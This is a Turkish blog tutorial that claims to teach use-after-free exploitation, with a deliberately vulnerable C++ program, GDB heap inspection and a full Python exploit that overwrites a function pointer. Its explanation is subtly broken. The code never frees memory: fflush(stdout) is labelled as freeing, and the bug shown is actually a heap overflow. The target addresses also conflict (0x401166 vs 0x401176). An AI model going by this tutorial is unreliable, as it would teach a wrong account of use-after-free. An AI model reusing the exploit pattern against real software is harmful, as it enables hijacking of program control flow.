alicangonullu tarafından 2025-08-25 09:43:58 tarihinde yazıldı. Tahmini okunma süresi 9 dakika, 55 saniye. 61 kere görüntülendi.
Disclaimer
Merhabalar,
Yeni bir seri başlatıyorum. Bu seride ciddi anlamda uzmanları dahi zorlayan zafiyetleri konu aldığım için "Uzmanı Çırak Yapan Zafiyetler" adını verdim. Amacım hiçbir uzmanı kötülemek değil bilakis zafiyetin zorluğunu irdelemektir.
Bellek zafiyetleri konusundan devam ediyoruz. Bugün sizlere "Use-after-free" zafiyetinin nasıl oluştuğunu anlatacağım. Konu fazlasıyla teknik olduğu için temeli olan kullanıcıların okumasını tavsiye ederim. Şimdiden keyifli okumalar dilerim.
The information provided in this blog post is intended for educational and informational purposes only. It is not intended to encourage or promote any illegal or unethical activities, including hacking, cyberattacks, or any form of unauthorized access to computer systems, networks, or data.
Bu blog yazısında sağlanan bilgiler yalnızca eğitim ve bilgilendirme amaçlıdır. Bilgisayar korsanlığı, siber saldırılar veya bilgisayar sistemlerine, ağlara veya verilere herhangi bir şekilde yetkisiz erişim de dahil olmak üzere herhangi bir yasa dışı veya etik olmayan faaliyeti teşvik etme veya reklamlama amacı taşımaz.
Use-After-Free (UAF), Türkçesiyle "Serbest Bırakıldıktan Sonra Kullanım", bir programın dinamik olarak ayırdığı bir bellek bölgesini sisteme iade ettikten (serbest bıraktıktan) sonra, artık geçersiz olan bu bellek adresine tekrar erişmeye veya kullanmaya çalışmasıyla ortaya çıkan kritik bir bellek yönetimi güvenlik açığıdır.
Bu erişim, genellikle artık o adresi işaret etmemesi gereken "sarkan bir işaretçi" (dangling pointer) üzerinden yapılır. Saldırganlar bu durumu, serbest bırakılan bellek alanına kendi kötü amaçlı kodlarının adresini yazarak ve programın daha sonra bu geçersiz işaretçiyi takip edip o adresi çalıştırmasını sağlayarak istismar edebilirler.
Başarılı bir istismar, programın çökmesine, hassas verilerin sızdırılmasına veya sistemin kontrolünün tamamen ele geçirilmesine yol açabilir.
Örnek Kod İncelemesi
Şimdi adım adım örnek bir kod yazalım ve zafiyeti istismar edelim. Öncelikle zafiyetli programımızı yazalım
#include <cstdio>
#include <cstdlib>
// Exploit için enjekte edilecek fonksiyon
void basariMesaji() {
printf(">>> KONTROL ELE GECIRILDI! Zafiyet basariyla istismar edildi.\n");
}
// Zafiyeti barındıran veri yapısı (struct).
typedef struct {
char kullaniciVerisi[100]; // Dışarıdan veri almak için kullanılacak 100 byte'lık bir buffer alanı.
void (*islemYapPtr)(); // Programın akışını değiştirmek için üzerine yazılacak olan fonksiyon işaretçisi.
} Session;
// Programın başlangıç noktası.
int main() {
// Ekrana (standart hata akışına) programın başladığını belirten bir mesaj yazdırır.
fprintf(stderr, "[KURBAN] Program baslatildi.\n");
Session* ses = (Session*)malloc(sizeof(Session)); // 'Session' yapısı için heap alanında yer ayırır.
fflush(stdout); // Alanı serbest bırakır
fread(ses->kullaniciVerisi, 1, 108, stdin); // kullaniciVerisi değerini islemYapPtr üzerine yazar
if (ses && ses->islemYapPtr) {
// Exploit başarılıysa, bu komut 'basariMesaji' fonksiyonunu çalıştırır.
ses->islemYapPtr();
}
return 0;
}
Burada "islemYapPtr" değeri oluşturduktan sonra ilgili değerin üzerine "kullaniciVerisi" değeri yazılır. Aslında zafiyetin temel mantığı da burada anlaşılabilir. Amaç, bellekten silinen kodun yerine yeni bir değerin yazılmasıyla farklı bir fonksiyonun çağırılmasıdır.
Halen anlamadıysanız daha basit bir koda da bakabilirsiniz. Ayrıca bu kodla diğer kod için PADDING_SIZE'da hesaplayabilirsiniz. Bu kodu derlemek için "-no-pie" tag'i kullanmanıza gerek yoktur.
#include <cstdio>
#include <cstddef>
typedef struct {
char kullaniciVerisi[100];
void (*islemYapPtr)();
} Session;
int main() {
printf("Boyut (sizeof(Session)): %zu byte\n", sizeof(Session));
printf("islemYapPtr'nin baslangic konumu (offsetof): %zu byte\n", offsetof(Session, islemYapPtr));
return 0;
}
Artık kodu derleyebiliriz. Kodu derlemek için "-no-pie" kullanmalıyız. Bu tag'i kullanma nedenimiz "Position-Independent Executable"özelliğini kapatmamız gerekiyor. Böylece ASLR özelliğini devre dışı bırakarak tahmin edilebilir alanlara değerin yazılmasını sağlıyoruz.
"-g" kullanma sebebimiz ise ilerleyen aşamalarda zafiyeti incelemek için GDB adlı program ile debugging yapacağımız için debug sırasında değişkenlerin görünmesidir.
g++ -o zafiyetli_sunucu zafiyetli_sunucu.cpp -no-pie -g
Dostlar buraya kadar anlaşılması çok önemlidir. Anlamadıysanız yeniden kodları okuyun. Bu kodu anlamadan devamını anlayamazsınız. Bu noktadan sonra artık zafiyetin sömürülme aşamasına başlıyoruz.
Öncelikle "basariMesaji" fonksiyonunun bellek konumunu statik olarak bulmamız gerekiyor. Bunun için aşağıdaki komutu kullanacağız,
objdump -t ./zafiyetli_sunucu | grep basariMesaji
Aşağıdaki komutu çalıştırdıktan sonra gelen çıktıyı beraber inceleyelim
Çıktıya baktığımızda ilgili değişkenin ".text" alanında "0x401166" bellek adresinde depolandığını statik olarak tespit ediyoruz. Yani bu değer bir noktada boş oluyor ve boş olduğu halde yeniden kontrol ediliyor.
Şimdi ilgili zafiyetli değişkenin padding size'ını tespit etmeliyiz ki o kadar uzunlukta bir veriyle dolduralım. Bunun için sizler kolay yoldan bu kodla çözebilirsiniz. "offsetof" değerini esas alabilirsiniz. Ben uzun ve teknik yolunu anlatacağım.
#include <cstdio>
#include <cstddef>
typedef struct {
char kullaniciVerisi[100];
void (*islemYapPtr)();
} Session;
int main() {
printf("Boyut (sizeof(Session)): %zu byte\n", sizeof(Session));
printf("islemYapPtr'nin baslangic konumu (offsetof): %zu byte\n", offsetof(Session, islemYapPtr));
return 0;
}
Şimdi GDB ile incelemeye başlıyoruz. Bunun için "gdb zafiyetli_sunucu" komutunu kullanıyorum.
Ardından "list main" komutuyla kodlarımızı görüntülüyoruz
Kodları görüntüledikten sonra daha önce hesapladığımız heap alanı için bir payload oluşturmamız gerekiyor. Bu aşamada şöyle bir Python scripti ile değeri oluşturabiliriz.
import struct
PADDING_SIZE = 100 # Geçici değer
TARGET_ADDRESS = 0x401176 # Hesaplanan Heap Değeri
payload = b'A' * PADDING_SIZE + struct.pack("<Q", TARGET_ADDRESS)
with open("payload.bin", "wb") as f: f.write(payload)
print("'payload.bin' oluşturuldu.")
Ardından GDB'ye geri dönüyoruz ve "break 22" yazıyoruz. Böylece 22'nci satırda kod duracaktır.
PADDING_SIZE değerini yavaş yavaş arttırıyoruz ve GDB üzerinden "run < payload.bin" komutuyla denemeye başlıyoruz.
Bu aşamada if döngüsünü geçmek üzere olduğumuzu görüyoruz. Şimdi değerlerimiz oluşmuş mu diye bakmak için öncelikle değerin yerini bulmak için "print ses" komutunu çalıştırıyoruz. Burada çıkan değeri bir yere not alıyoruz.
Şimdi en önemli aşamadayız "x/16gx DEGER" şeklinde komutu çalıştırıyoruz. Bu komutun manası ise "belleği incele (x), 16 birimlik değer göster (/16), giant word formatında göster (her biri 8 bit, g) ve hex olarak göster (x)" diyoruz.
BINGO! Zafiyeti başarıyla tespit etmiş bulunuyoruz. Artık hesaplamaya geçiyoruz. Bu değerlere göre başlangıç değişkenimiz 0x4052a0 oluyor. 0x405300 satırına dikkatli bakarsanız 0x00401176 değerini görebilirsiniz. Bu değeri incelediğimizde,
Yani aslında 0x405304 (büyük değer) değeri 0x4052a0 değerlerini birbirinden çıkarttığımızda ise 0x000064 hex değerini elde ediyoruz. Hesapladığımızda, 6*16+4*1=100 olmaktadır yani islemYapPtr fonksiyon işaretçisinin, kullaniciVerisi buffer alanının başlangıcından tam 100 byte sonra başladığını kanıtlar. Ancak 100, 8'i tam bölmediği için bir sonraki en yakın değer olan 104 bizim PADDING_SIZE değerimiz olmalıdır.
Şimdi tüm bu bilgilerle sömürü kodumuzu yazmaya başlıyoruz. Ben sömürü kodu için Python dilini kullanıyorum. Sizler farklı dillerde yazabilirsiniz.
Statik değişkenlerimizi belirleyelim,
# Zafiyetli programın adı
VICTIM_PROGRAM = "./zafiyetli_sunucu"
# objdump ile bulduğumuz statik adres.
HARDCODED_ADDRESS = 0x401166
# Padding boyutumuz
PADDING_SIZE = 104
Ardından programı başlatan kodu yazıyoruz.
try:
p = subprocess.Popen([VICTIM_PROGRAM], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
except FileNotFoundError:
print(f"[!] HATA: '{VICTIM_PROGRAM}' bulunamadi. C++ kodunu -no-pie ile derlediniz mi?")
sys.exit(1)
Şimdi payloadlarımızı hazırlayan aşamayı yazıyoruz.
padding = b'A' * PADDING_SIZE
overwrite_address = struct.pack("<Q", HARDCODED_ADDRESS)
payload = padding + overwrite_address
print(f"[*] Payload {len(payload)} byte olarak olusturuldu.")
print("[*] Payload kurban programa gonderiliyor...")
Ardından enjekte ettiğimiz fonksiyonun çıktılarını kontrol ettiğimiz aşamayı yazıyoruz.
stdout_output_bytes, stderr_output_bytes = p.communicate(input=payload)
stdout_output = stdout_output_bytes.decode('utf-8', errors='ignore')
stderr_output = stderr_output_bytes.decode('utf-8', errors='ignore')
print("\n--- Kurban Programdan Gelen Cikti ---")
print(stdout_output)
print("--- Kurbandan Gelen Hata Ciktisi (varsa) ---")
print(stderr_output)
print("--- Exploit Tamamlandi ---")
if "KONTROL ELE GECIRILDI" in stdout_output:
print("\n[+] Zafiyet basariyla istismar edildi!")
else:
print("\n[-] Istismar basarisiz oldu.")
Ve sömürü kodumuzu çalıştırdığımızda başarıyla fonksiyonu enjekte ettiğimizi görüyoruz.
import struct
import subprocess
import sys
# Zafiyetli programın adı
VICTIM_PROGRAM = "./zafiyetli_sunucu"
# 1. Adım'da objdump ile bulduğumuz ve HİÇ DEĞİŞMEYECEK olan statik adres.
# Siz de kendi sisteminizde bulduğunuz adresi buraya yazmalısınız!
HARDCODED_ADDRESS = 0x401166
PADDING_SIZE = 104
def main():
print("--- [SALDIRGAN] Python Exploit (Statik Adres ile) Baslatildi ---")
try:
p = subprocess.Popen([VICTIM_PROGRAM], stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
except FileNotFoundError:
print(f"[!] HATA: '{VICTIM_PROGRAM}' bulunamadi. C++ kodunu -no-pie ile derlediniz mi?")
sys.exit(1)
print(f"[*] Hedef adres statik olarak biliniyor: {hex(HARDCODED_ADDRESS)}")
# Payload'ı SABİT adres ile oluştur
padding = b'A' * PADDING_SIZE
overwrite_address = struct.pack("<Q", HARDCODED_ADDRESS)
payload = padding + overwrite_address
print(f"[*] Payload {len(payload)} byte olarak olusturuldu.")
print("[*] Payload kurban programa gonderiliyor...")
stdout_output_bytes, stderr_output_bytes = p.communicate(input=payload)
stdout_output = stdout_output_bytes.decode('utf-8', errors='ignore')
stderr_output = stderr_output_bytes.decode('utf-8', errors='ignore')
print("\n--- Kurban Programdan Gelen Cikti ---")
print(stdout_output)
print("--- Kurbandan Gelen Hata Ciktisi (varsa) ---")
print(stderr_output)
print("--- Exploit Tamamlandi ---")
if "KONTROL ELE GECIRILDI" in stdout_output:
print("\n[+] Zafiyet basariyla istismar edildi!")
else:
print("\n[-] Istismar basarisiz oldu.")
if __name__ == "__main__":
main()
Okuduğunuz için teşekkür ederim!
Eğer konuyu beğendiyseniz yorum ve beğenilerinizi eksik etmeyiniz lütfen.